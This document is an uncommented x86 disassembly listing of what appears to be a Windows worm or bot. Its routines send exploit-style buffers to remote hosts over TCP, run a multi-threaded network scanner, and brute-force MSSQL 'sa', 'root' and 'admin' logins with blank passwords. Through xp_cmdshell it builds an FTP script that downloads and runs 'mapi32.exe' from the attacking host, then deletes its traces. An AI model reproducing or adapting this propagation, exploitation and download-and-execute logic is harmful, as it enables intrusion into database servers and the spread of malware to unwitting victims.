		mov	esi, dword_401244
		push	0
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+arg_4]
		call	esi ; dword_401244
		cmp	eax, 0FFFFFFFFh
		jz	loc_40681D
		mov	edi, dword_40123C
		mov	ebx, 640h
		push	0
		lea	eax, [ebp+var_940]
		push	ebx
		push	eax
		push	[ebp+arg_4]
		call	edi ; dword_40123C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40681D
		push	0
		push	68h
		push	offset dword_402628
		push	[ebp+arg_4]
		call	esi ; dword_401244
		cmp	eax, 0FFFFFFFFh
		jz	loc_40681D
		push	0
		lea	eax, [ebp+var_940]
		push	ebx
		push	eax
		push	[ebp+arg_4]
		call	edi ; dword_40123C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40681D
		push	0
		push	0A0h
		push	offset dword_402694
		push	[ebp+arg_4]
		call	esi ; dword_401244
		cmp	eax, 0FFFFFFFFh
		jz	loc_40681D
		push	0
		lea	eax, [ebp+var_940]
		push	ebx
		push	eax
		push	[ebp+arg_4]
		call	edi ; dword_40123C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40681D
		cmp	[ebp+arg_8], 0
		jz	loc_4067A6
		push	68h
		lea	eax, [ebp+var_8BB0]
		push	offset dword_40284C
		push	eax
		call	sub_40AC2E
		lea	eax, [ebp+var_4A00]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_8B48]
		push	eax
		call	sub_40AC2E
		push	70h
		lea	eax, [ebp+var_6AD8]
		push	offset dword_4028B8
		push	eax
		call	sub_40AC2E
		lea	eax, [ebp+var_3974]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_6A68]
		push	eax
		call	sub_40AC2E
		push	84h
		lea	eax, [ebp+var_5FA4]
		push	offset dword_40292C
		push	eax
		call	sub_40AC2E
		add	esp, 3Ch
		lea	eax, [ebp+var_8BB0]
		push	0
		push	10FCh
		push	eax
		push	[ebp+arg_4]
		call	esi ; dword_401244
		cmp	eax, 0FFFFFFFFh
		jz	loc_40681D
		push	0
		lea	eax, [ebp+var_940]
		push	ebx
		push	eax
		push	[ebp+arg_4]
		call	edi ; dword_40123C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40681D
		push	0
		lea	eax, [ebp+var_6AD8]
		push	0FDCh
		push	eax
		push	[ebp+arg_4]
		call	esi ; dword_401244
		jmp	short loc_406818
; ---------------------------------------------------------------------------


loc_4067A6:				; CODE XREF: sub_4063DC+30Cj
		push	7Ch
		lea	eax, [ebp+var_20F4]
		push	offset dword_402738
		push	eax
		call	sub_40AC2E
		lea	eax, [ebp+var_1110]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2078]
		push	eax
		call	sub_40AC2E
		push	90h
		lea	eax, [ebp+var_18A8]
		push	offset off_4027B8
		push	eax
		call	sub_40AC2E
		add	esp, 24h
		and	[ebp+var_13FD],	0
		lea	eax, [ebp+var_20F4]
		push	0
		push	0CF7h
		push	eax
		push	[ebp+arg_4]
		call	esi ; dword_401244
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40681D
		push	0
		lea	eax, [ebp+var_940]
		push	ebx
		push	eax
		push	[ebp+arg_4]
		call	edi ; dword_40123C


loc_406818:				; CODE XREF: sub_4063DC+3C8j
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406821


loc_40681D:				; CODE XREF: sub_4063DC+50j
					; sub_4063DC+27Ej ...
		xor	al, al
		jmp	short loc_406823
; ---------------------------------------------------------------------------


loc_406821:				; CODE XREF: sub_4063DC+43Fj
		mov	al, 1


loc_406823:				; CODE XREF: sub_4063DC+443j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4063DC	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 650h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp-10h]
		push	edi
		push	eax
		call	sub_40AC10
		mov	esi, [ebp+8]
		add	esp, 0Ch
		mov	word ptr [ebp-10h], 2
		mov	eax, [esi+8]
		mov	[ebp-0Ch], eax
		mov	ax, [esi]
		push	eax
		call	dword_401230
		push	edi
		push	edi
		push	edi
		push	6
		push	1
		push	2
		mov	[ebp-0Eh], ax
		call	dword_401200
		mov	ebx, eax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	ebx
		call	dword_401238
		cmp	eax, 0FFFFFFFFh
		push	edi
		jnz	short loc_40688C
		call	dword_4010EC	; ExitThread


loc_40688C:				; CODE XREF: MEW:00406884j
		push	89h
		push	offset dword_4023AC
		push	ebx
		call	dword_401244
		cmp	eax, 0FFFFFFFFh
		push	edi
		jnz	short loc_4068A9
		call	dword_4010EC	; ExitThread


loc_4068A9:				; CODE XREF: MEW:004068A1j
		lea	eax, [ebp-650h]
		push	640h
		push	eax
		push	ebx
		call	dword_40123C
		cmp	eax, 0FFFFFFFFh
		push	edi
		jnz	short loc_4068C8
		call	dword_4010EC	; ExitThread


loc_4068C8:				; CODE XREF: MEW:004068C0j
		push	0A8h
		push	offset dword_402438
		push	ebx
		call	dword_401244
		cmp	eax, 0FFFFFFFFh
		push	edi
		jnz	short loc_4068E5
		call	dword_4010EC	; ExitThread


loc_4068E5:				; CODE XREF: MEW:004068DDj
		lea	eax, [ebp-650h]
		push	640h
		push	eax
		push	ebx
		call	dword_40123C
		cmp	eax, 0FFFFFFFFh
		push	edi
		jnz	short loc_406904
		call	dword_4010EC	; ExitThread


loc_406904:				; CODE XREF: MEW:004068FCj
		push	0DEh
		push	offset dword_4024E4
		push	ebx
		call	dword_401244
		cmp	eax, 0FFFFFFFFh
		push	edi
		jnz	short loc_406921
		call	dword_4010EC	; ExitThread


loc_406921:				; CODE XREF: MEW:00406919j
		lea	eax, [ebp-650h]
		push	640h
		push	eax
		push	ebx
		call	dword_40123C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406940
		push	edi
		call	dword_4010EC	; ExitThread


loc_406940:				; CODE XREF: MEW:00406937j
		movsx	eax, byte ptr [ebp-60Ch]
		sub	eax, 30h
		jz	short loc_4069C0
		push	dword ptr [esi+8]
		dec	eax
		jz	short loc_406992
		call	sub_40715A
		pop	ecx
		push	eax
		call	dword_4010FC	; GetTickCount
		push	3
		xor	edx, edx
		pop	ecx
		div	ecx
		mov	eax, [esi+4]
		imul	eax, 2Ch
		push	edx
		push	ebx
		push	dword_402BEC[eax]
		call	sub_4063DC
		add	esp, 10h
		test	al, al
		jz	loc_406A16
		push	ebx
		call	sub_408616
		pop	ecx
		push	edi
		call	dword_4010EC	; ExitThread


loc_406992:				; CODE XREF: MEW:00406950j
		call	sub_40715A
		push	eax
		mov	eax, [esi+4]
		imul	eax, 2Ch
		push	edi
		push	ebx
		push	dword_402BEC[eax]
		call	sub_4063DC
		add	esp, 14h
		test	al, al
		jz	short loc_406A16
		push	ebx
		call	sub_408616
		pop	ecx
		push	edi
		call	dword_4010EC	; ExitThread


loc_4069C0:				; CODE XREF: MEW:0040694Aj
		push	dword ptr [esi+8]
		call	sub_40715A
		push	eax
		mov	eax, [esi+4]
		imul	eax, 2Ch
		push	2
		push	ebx
		push	dword_402BEC[eax]
		call	sub_4063DC
		add	esp, 14h
		test	al, al
		jnz	short loc_406A25
		push	dword ptr [esi+8]
		call	sub_40715A
		push	eax
		mov	eax, [esi+4]
		imul	eax, 2Ch
		push	1
		push	ebx
		push	dword_402BEC[eax]
		call	sub_4063DC
		add	esp, 14h
		test	al, al
		jz	short loc_406A16
		push	ebx
		call	sub_408616
		pop	ecx
		push	edi
		call	dword_4010EC	; ExitThread


loc_406A16:				; CODE XREF: MEW:0040697Ej
					; MEW:004069B0j ...
		push	ebx
		call	sub_408616
		pop	ecx
		push	1
		call	dword_4010EC	; ExitThread


loc_406A25:				; CODE XREF: MEW:004069E2j
		push	ebx
		call	sub_408616
		pop	ecx
		push	edi
		call	dword_4010EC	; ExitThread
		push	ebp
		mov	ebp, esp
		sub	esp, 0A14h
		push	esi
		mov	esi, [ebp+8]
		push	edi
		push	2
		mov	eax, [esi+4]
		push	offset asc_402AAC ; "\r"
		imul	eax, 2Ch
		push	dword_402BEC[eax]
		mov	ax, word_40B24A
		push	eax
		lea	eax, [ebp-0A14h]
		push	dword_40B244
		push	200h
		push	eax
		call	sub_407617
		xor	edi, edi
		add	esp, 1Ch
		cmp	eax, edi
		mov	[ebp-4], eax
		jnz	short loc_406A85
		push	edi
		call	dword_4010EC	; ExitThread


loc_406A85:				; CODE XREF: MEW:00406A7Cj
		push	10h
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		call	sub_40AC10
		mov	ax, [esi]
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	eax
		call	dword_401230
		push	edi
		push	edi
		push	edi
		mov	[ebp-12h], ax
		mov	eax, [esi+8]
		push	6
		push	1
		push	2
		mov	[ebp-10h], eax
		call	dword_401200
		lea	ecx, [ebp-14h]
		push	10h
		push	ecx
		push	eax
		mov	[ebp+8], eax
		call	dword_401238
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406AD9
		push	edi
		call	dword_4010EC	; ExitThread


loc_406AD9:				; CODE XREF: MEW:00406AD0j
		push	ebx
		mov	ebx, 90h
		push	800h
		lea	eax, [ebp-814h]
		push	ebx
		push	eax
		call	sub_40AC10
		push	24h
		lea	eax, [ebp-814h]
		push	offset dword_4029DC
		push	eax
		call	sub_40AC2E
		push	210h
		lea	eax, [ebp-7F0h]
		push	4Dh
		push	eax
		call	sub_40AC10
		push	4
		lea	eax, [ebp-5E0h]
		pop	edi
		push	edi
		push	offset aEu4	; "\x1B4"
		push	eax
		call	sub_40AC2E
		push	edi
		lea	eax, [ebp-5DCh]
		push	offset aCccc	; "CCCC"
		push	eax
		call	sub_40AC2E
		push	edi
		lea	eax, [ebp-5D8h]
		push	offset loc_402A04
		push	eax
		call	sub_40AC2E
		add	esp, 48h
		mov	esi, (offset loc_402A04+4)
		lea	eax, [ebp-5D4h]
		push	edi
		push	esi
		push	eax
		call	sub_40AC2E
		push	edi
		lea	eax, [ebp-5D0h]
		push	esi
		push	eax
		call	sub_40AC2E
		push	edi
		lea	eax, [ebp-5CCh]
		push	offset a3333	; "3333"
		push	eax
		call	sub_40AC2E
		push	edi
		lea	eax, [ebp-5C8h]
		push	esi
		push	eax
		call	sub_40AC2E
		push	edi
		lea	eax, [ebp-5C4h]
		push	esi
		push	eax
		call	sub_40AC2E
		push	58h
		lea	eax, [ebp-5C0h]
		push	41h
		push	eax
		call	sub_40AC10
		mov	edi, [ebp-4]
		mov	eax, 200h
		add	esp, 48h
		sub	eax, edi
		push	eax
		lea	eax, [ebp-568h]
		push	ebx
		push	eax
		call	sub_40AC10
		mov	esi, 4ACh
		lea	eax, [ebp-0A14h]
		sub	esi, edi
		push	edi
		push	eax
		lea	eax, [ebp+esi-814h]
		push	eax
		call	sub_40AC2E
		add	esi, edi
		push	5
		push	offset dword_402A8C
		lea	eax, [ebp+esi-814h]
		push	eax
		call	sub_40AC2E
		add	esp, 24h
		add	esi, 5
		lea	eax, [ebp-814h]
		push	0
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_401244
		cmp	eax, 0FFFFFFFFh
		pop	ebx
		jnz	short loc_406C26
		push	0
		call	dword_4010EC	; ExitThread


loc_406C26:				; CODE XREF: MEW:00406C1Cj
		push	dword ptr [ebp+8]
		call	sub_408616
		pop	ecx
		push	1
		call	dword_4010EC	; ExitThread
		push	ebp
		mov	ebp, esp
		sub	esp, 610h
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		push	6
		push	offset aR_0	; "/\\r\n:"
		mov	eax, [esi+4]
		imul	eax, 2Ch
		push	dword_402BEC[eax]
		mov	ax, word_40B24A
		push	eax
		lea	eax, [ebp-610h]
		push	dword_40B244
		push	200h
		push	eax
		call	sub_407617
		mov	edi, eax
		xor	ebx, ebx
		add	esp, 1Ch
		cmp	edi, ebx
		jnz	short loc_406C89
		push	ebx
		call	dword_4010EC	; ExitThread


loc_406C89:				; CODE XREF: MEW:00406C80j
		push	10h
		lea	eax, [ebp-10h]
		push	ebx
		push	eax
		call	sub_40AC10
		add	esp, 0Ch
		mov	word ptr [ebp-10h], 2
		push	59Ah
		call	dword_401230
		mov	[ebp-0Eh], ax
		mov	eax, [esi+8]
		push	ebx
		push	2
		push	2
		mov	[ebp-0Ch], eax
		call	dword_401234
		lea	ecx, [ebp-10h]
		push	10h
		push	ecx
		push	eax
		mov	[ebp+8], eax
		call	dword_401238
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406CDA
		push	ebx
		call	dword_4010EC	; ExitThread


loc_406CDA:				; CODE XREF: MEW:00406CD1j
		push	320h
		lea	eax, [ebp-410h]
		push	90h
		push	eax
		call	sub_40AC10
		push	1
		push	4
		pop	ebx
		lea	eax, [ebp-410h]
		push	ebx
		push	eax
		call	sub_40AC10
		push	6
		lea	eax, [ebp-2F0h]
		push	offset aH888r	; "h:888"
		push	eax
		call	sub_40AC2E
		push	ebx
		lea	eax, [ebp-3AFh]
		push	(offset	loc_402A0A+2)
		push	eax
		call	sub_40AC2E
		push	ebx
		lea	eax, [ebp-3ABh]
		push	offset aIiii	; "ii"
		push	eax
		call	sub_40AC2E
		mov	esi, (offset loc_402A0D+3)
		push	ebx
		lea	eax, [ebp-3A3h]
		push	esi
		push	eax
		call	sub_40AC2E
		add	esp, 48h
		lea	eax, [ebp-39Fh]
		push	ebx
		push	esi
		push	eax
		call	sub_40AC2E
		push	3
		lea	eax, [ebp-337h]
		push	offset a512	; "512"
		push	eax
		call	sub_40AC2E
		mov	esi, 326h
		lea	eax, [ebp-610h]
		sub	esi, edi
		push	edi
		push	eax
		lea	eax, [ebp+esi-410h]
		push	eax
		call	sub_40AC2E
		add	esp, 24h
		add	esi, edi
		lea	eax, [ebp-410h]
		push	0
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_401244
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406DB1
		push	0
		call	dword_4010EC	; ExitThread


loc_406DB1:				; CODE XREF: MEW:00406DA7j
		push	dword ptr [ebp+8]
		call	sub_408616
		pop	ecx
		push	1
		call	dword_4010EC	; ExitThread
		push	ebp
		mov	ebp, esp
		sub	esp, 610h
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		push	6
		push	offset aR_0	; "/\\r\n:"
		mov	eax, [esi+4]
		imul	eax, 2Ch
		push	dword_402BEC[eax]
		mov	ax, word_40B24A
		push	eax
		lea	eax, [ebp-210h]
		push	dword_40B244
		push	200h
		push	eax
		call	sub_407617
		mov	ebx, eax
		xor	edi, edi
		add	esp, 1Ch
		cmp	ebx, edi
		jnz	short loc_406E14
		push	edi
		call	dword_4010EC	; ExitThread


loc_406E14:				; CODE XREF: MEW:00406E0Bj
		push	10h
		lea	eax, [ebp-10h]
		push	edi
		push	eax
		call	sub_40AC10
		add	esp, 0Ch
		mov	word ptr [ebp-10h], 2
		push	59Ah
		call	dword_401230
		mov	[ebp-0Eh], ax
		mov	eax, [esi+8]
		push	edi
		push	2
		push	2
		mov	[ebp-0Ch], eax
		call	dword_401234
		mov	esi, eax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	esi
		call	dword_401238
		cmp	eax, 0FFFFFFFFh
		push	edi
		jnz	short loc_406E64
		call	dword_4010EC	; ExitThread


loc_406E64:				; CODE XREF: MEW:00406E5Cj
		lea	eax, [ebp-610h]
		push	offset loc_402A14
		push	eax
		call	sub_40AC2E
		lea	eax, [ebp-210h]
		push	ebx
		push	eax
		lea	eax, [ebp-610h]
		push	eax
		call	sub_40AC2E
		add	esp, 18h
		add	ebx, 75h
		lea	eax, [ebp-610h]
		push	edi
		push	ebx
		push	eax
		push	esi
		call	dword_401244
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406EAB
		push	edi
		call	dword_4010EC	; ExitThread


loc_406EAB:				; CODE XREF: MEW:00406EA2j
		push	esi
		call	sub_408616
		pop	ecx
		push	1
		call	dword_4010EC	; ExitThread
		push	ebp
		mov	ebp, esp
		sub	esp, 0C3Ch
		mov	al, byte_40B078
		push	ebx
		push	esi
		mov	[ebp-1], al
		push	edi
		lea	eax, [ebp-10h]
		xor	edi, edi
		push	eax
		mov	esi, offset aSa	; "sa"
		push	edi
		push	1
		mov	[ebp-34h], esi
		mov	dword ptr [ebp-30h], offset aRoot ; "root"
		mov	dword ptr [ebp-2Ch], offset aAdmin ; "admin"
		mov	dword ptr [ebp-28h], offset byte_40B078
		mov	[ebp-24h], edi
		call	sub_40AB88
		test	ax, ax
		jz	short loc_406F08
		push	edi
		call	dword_4010EC	; ExitThread


loc_406F08:				; CODE XREF: MEW:00406EFFj
		push	0FFFFFFFAh
		push	3
		push	0C8h
		push	dword ptr [ebp-10h]
		call	sub_40AB82
		test	ax, ax
		jz	short loc_406F25
		push	edi
		call	dword_4010EC	; ExitThread


loc_406F25:				; CODE XREF: MEW:00406F1Cj
		lea	eax, [ebp-0Ch]
		push	eax
		push	dword ptr [ebp-10h]
		push	2
		call	sub_40AB88
		test	ax, ax
		jz	short loc_406F3F
		push	edi
		call	dword_4010EC	; ExitThread


loc_406F3F:				; CODE XREF: MEW:00406F36j
		mov	eax, esi
		test	eax, eax
		jz	loc_4070A8
		mov	edi, [ebp+8]
		lea	ebx, [ebp-34h]
		mov	esi, offset aMapi32_exe	; "mapi32.exe"


loc_406F54:				; CODE XREF: MEW:004070A0j
		lea	ecx, [ebp-1]
		push	ecx
		push	eax
		push	dword ptr [edi+8]
		call	sub_40715A
		pop	ecx
		push	eax
		lea	eax, [ebp-838h]
		push	offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s;UID=sa;PW"...
		push	eax
		call	sub_40AB94
		add	esp, 14h
		lea	eax, [ebp-1Eh]
		push	3
		push	eax
		lea	eax, [ebp-0C3Ch]
		push	400h
		push	eax
		lea	eax, [ebp-838h]
		push	eax
		call	sub_40ABD2
		pop	ecx
		push	eax
		lea	eax, [ebp-838h]
		push	eax
		push	0
		push	dword ptr [ebp-0Ch]
		call	sub_40AB7C
		lea	eax, [ebp-8]
		push	eax
		push	dword ptr [ebp-0Ch]
		call	sub_40AB76
		push	6
		push	1
		call	sub_40A818
		push	eax
		call	sub_40A77F
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp-1Ch]
		push	offset aS_txt	; "%s.txt"
		push	eax
		call	sub_40AB94
		add	esp, 0Ch
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		push	0Ah
		push	4
		call	sub_40A818
		push	eax
		call	sub_40A77F
		add	esp, 0Ch
		push	eax
		push	0Ah
		push	4
		call	sub_40A818
		push	eax
		call	sub_40A77F
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		movzx	eax, word_40B0D0
		push	eax
		push	dword_40B244
		call	sub_40715A
		pop	ecx
		push	eax
		lea	eax, [ebp-434h]
		push	offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'echo open %s "...
		push	eax
		call	sub_40AB94
		add	esp, 30h
		push	0FFFFFFFDh
		lea	eax, [ebp-434h]
		push	eax
		push	dword ptr [ebp-8]
		call	sub_40AB70
		test	ax, ax
		jnz	short loc_407098
		push	dword ptr [ebp-8]
		push	3
		call	sub_40AB6A
		lea	eax, [ebp-8]
		push	eax
		push	dword ptr [ebp-0Ch]
		call	sub_40AB76
		push	esi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		lea	eax, [ebp-434h]
		push	offset aExecMaster___0 ; "EXEC master..xp_cmdshell 'del %s &%s &c"...
		push	eax


loc_40707A:				; DATA XREF: MEW:00402804o
					; MEW:00402818o ...
		call	sub_40AB94
		add	esp, 14h
		lea	eax, [ebp-434h]
		push	0FFFFFFFDh
		push	eax
		push	dword ptr [ebp-8]
		call	sub_40AB70
		test	ax, ax
		jz	short loc_4070D0


loc_407098:				; CODE XREF: MEW:00407050j
		mov	eax, [ebx+4]
		add	ebx, 4
		test	eax, eax
		jnz	loc_406F54
		xor	edi, edi


loc_4070A8:				; CODE XREF: MEW:00406F43j
		lea	eax, [ebp-0Ch]
		push	eax
		push	2
		call	sub_40AB6A
		lea	eax, [ebp-10h]
		push	eax
		push	1
		call	sub_40AB6A
		lea	eax, [ebp-8]
		push	eax
		push	3
		call	sub_40AB6A
		push	edi
		call	dword_4010EC	; ExitThread


loc_4070D0:				; CODE XREF: MEW:00407096j
		mov	eax, [edi+4]
		imul	eax, 2Ch
		inc	dword_402BE8[eax]
		lea	eax, dword_402BE8[eax]
		lea	eax, [ebp-0Ch]
		push	eax
		push	2
		call	sub_40AB6A
		lea	eax, [ebp-10h]
		push	eax
		push	1
		call	sub_40AB6A
		lea	eax, [ebp-8]
		push	eax
		push	3
		call	sub_40AB6A
		push	1
		call	dword_4010EC	; ExitThread

; =============== S U B	R O U T	I N E =======================================



sub_40710B	proc near		; CODE XREF: sub_407282+255p
		push	dword_40B0C8
		call	dword_401254
		inc	eax
		push	eax
		call	dword_4011F4
		mov	dword_40B0C8, eax
		retn
sub_40710B	endp


; =============== S U B	R O U T	I N E =======================================



sub_407125	proc near		; CODE XREF: sub_404530+6CFp
		push	esi
		call	dword_4010FC	; GetTickCount
		push	eax
		call	sub_40AC3A
		pop	ecx
		call	sub_40AC34
		mov	esi, eax
		shl	esi, 8
		call	sub_40AC34
		add	esi, eax
		shl	esi, 8
		call	sub_40AC34
		add	esi, eax
		shl	esi, 8
		call	sub_40AC34
		add	eax, esi
		pop	esi
		retn
sub_407125	endp


; =============== S U B	R O U T	I N E =======================================



sub_40715A	proc near		; CODE XREF: sub_404530+119p
					; sub_404530+16Cp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_401220
		retn
sub_40715A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407165	proc near		; CODE XREF: sub_407207+55p
					; sub_4096C8+2Bp

var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 124h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_1], 0
		push	1
		xor	edi, edi
		pop	ebx
		push	edi
		push	ebx
		push	2
		mov	[ebp+var_8], ebx
		call	dword_401234
		push	[ebp+arg_4]
		mov	esi, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_20], 2
		mov	[ebp+var_1C], eax
		call	dword_401230
		mov	[ebp+var_1E], ax
		lea	eax, [ebp+var_8]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_40125C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4071BB
		xor	al, al
		jmp	short loc_407202
; ---------------------------------------------------------------------------


loc_4071BB:				; CODE XREF: sub_407165+50j
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	esi
		call	dword_401238
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_C], edi
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_124]
		push	edi
		push	eax
		push	edi
		push	edi
		mov	[ebp+var_120], esi
		mov	[ebp+var_124], ebx
		call	dword_4011F0
		cmp	eax, ebx
		jl	short loc_4071F8
		mov	[ebp+var_1], bl


loc_4071F8:				; CODE XREF: sub_407165+8Ej
		push	esi
		call	dword_401240
		mov	al, [ebp+var_1]


loc_407202:				; CODE XREF: sub_407165+54j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_407165	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407207	proc near		; DATA XREF: sub_407282+105o

var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_404428
		push	offset loc_40ABC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	esi, [ebp+arg_0]


loc_407233:				; CODE XREF: sub_407207+66j
		cmp	byte_40B248, 0
		jz	short loc_407276


loc_40723C:				; CODE XREF: sub_407207+42j
		cmp	dword ptr [esi], 1
		jz	short loc_40724B
		push	32h
		call	dword_4010F4	; Sleep
		jmp	short loc_40723C
; ---------------------------------------------------------------------------


loc_40724B:				; CODE XREF: sub_407207+38j
		mov	dword ptr [esi], 2
		push	dword ptr [esi+0Ch]
		mov	ax, [esi+8]
		push	eax
		push	dword ptr [esi+4]
		call	sub_407165
		add	esp, 0Ch
		neg	al
		sbb	eax, eax
		add	eax, 4
		mov	[esi], eax
		jmp	short loc_407233
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]


loc_407276:				; CODE XREF: sub_407207+33j
		or	[ebp+var_4], 0FFFFFFFFh
		push	0
		call	dword_4010EC	; ExitThread
sub_407207	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407282	proc near		; DATA XREF: sub_404530+7AEo

var_36		= byte ptr -36h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_404438
		push	offset loc_40ABC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	esi, [ebp+arg_0]
		cmp	byte ptr [esi+1Ch], 0
		mov	eax, offset aEnabled ; "enabled"
		jnz	short loc_4072BB
		mov	eax, offset aDisabled ;	"disabled"


loc_4072BB:				; CODE XREF: sub_407282+32j
		push	eax
		push	dword ptr [esi+10h]
		push	dword ptr [esi+0Ch]
		push	dword ptr [esi+14h]
		movzx	eax, word ptr [esi+4]
		push	eax
		push	dword ptr [esi]
		call	sub_40715A
		pop	ecx
		push	eax
		mov	eax, dword_40372C
		imul	eax, 1Ch
		push	off_401BB0[eax]
		push	offset dword_402EA8
		call	sub_405185
		add	esp, 20h
		push	3E8h
		call	dword_4010F4	; Sleep
		mov	ebx, offset dword_40B080
		push	ebx
		call	dword_4010D8	; RtlDeleteCriticalSection
		push	80000400h
		push	ebx
		call	dword_4010DC	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_40732F
		push	offset aScanner	; "Scanner"
		call	sub_40A64F
		push	eax
		call	sub_40A56C
		pop	ecx
		pop	ecx
		push	0
		call	dword_4010EC	; ExitThread


loc_40732F:				; CODE XREF: sub_407282+91j
		mov	byte_40B248, 1
		mov	eax, [esi]
		mov	dword_40B0C8, eax
		mov	eax, [esi+14h]
		lea	eax, [eax+eax*4]
		shl	eax, 2
		push	eax
		call	sub_40AC22
		pop	ecx
		mov	edi, eax
		mov	[ebp+var_28], edi
		push	ebx
		call	dword_4010E0	; RtlEnterCriticalSection
		xor	ebx, ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C], ebx


loc_407361:				; CODE XREF: sub_407282+11Cj
		cmp	ebx, [esi+14h]
		jge	short loc_4073A0
		lea	eax, [ebx+ebx*4]
		lea	edi, [edi+eax*4]
		mov	eax, [esi]
		mov	[edi+4], eax
		and	dword ptr [edi], 0
		mov	ax, [esi+4]
		mov	[edi+8], ax
		mov	eax, [esi+0Ch]
		mov	[edi+0Ch], eax
		push	0
		push	1
		push	edi
		push	offset sub_407207
		call	sub_40A45C
		add	esp, 10h
		mov	[edi+10h], eax
		inc	ebx
		mov	[ebp+var_2C], ebx
		mov	edi, [ebp+var_28]
		jmp	short loc_407361
; ---------------------------------------------------------------------------


loc_4073A0:				; CODE XREF: sub_407282+E2j
					; sub_407282+26Cj
		cmp	byte_40B248, 0
		jz	loc_4074F3
		xor	edi, edi


loc_4073AF:				; CODE XREF: sub_407282+264j
		mov	[ebp+var_2C], edi
		cmp	edi, [esi+14h]
		jge	loc_4074EB
		push	14h
		call	dword_4010F4	; Sleep
		lea	eax, [edi+edi*4]
		mov	ebx, [ebp+var_28]
		lea	ecx, [ebx+eax*4]
		mov	eax, [ecx]
		test	eax, eax
		jz	loc_4074D1
		cmp	eax, 4
		jz	loc_4074D1
		cmp	eax, 1
		jz	loc_4074E5
		cmp	eax, 2
		jz	loc_4074E5
		cmp	eax, 3
		jnz	loc_4074D1
		mov	edx, [esi+8]
		test	edx, edx
		jz	loc_4074D1
		mov	al, [esi+1Ch]
		mov	[ebp+var_35], al
		test	al, al
		jnz	short loc_407449
		mov	eax, edx
		imul	eax, 2Ch
		cmp	byte_402BF0[eax], 0
		jz	short loc_407449
		mov	[ebp+var_20], edx
		mov	ecx, [ecx+4]
		mov	[ebp+var_1C], ecx
		mov	cx, [esi+4]
		mov	[ebp+var_24], cx
		push	0
		push	1
		lea	ecx, [ebp+var_24]
		push	ecx
		push	off_402BE4[eax]
		call	sub_40A45C
		add	esp, 10h
		jmp	loc_4074D1
; ---------------------------------------------------------------------------


loc_407449:				; CODE XREF: sub_407282+18Bj
					; sub_407282+199j
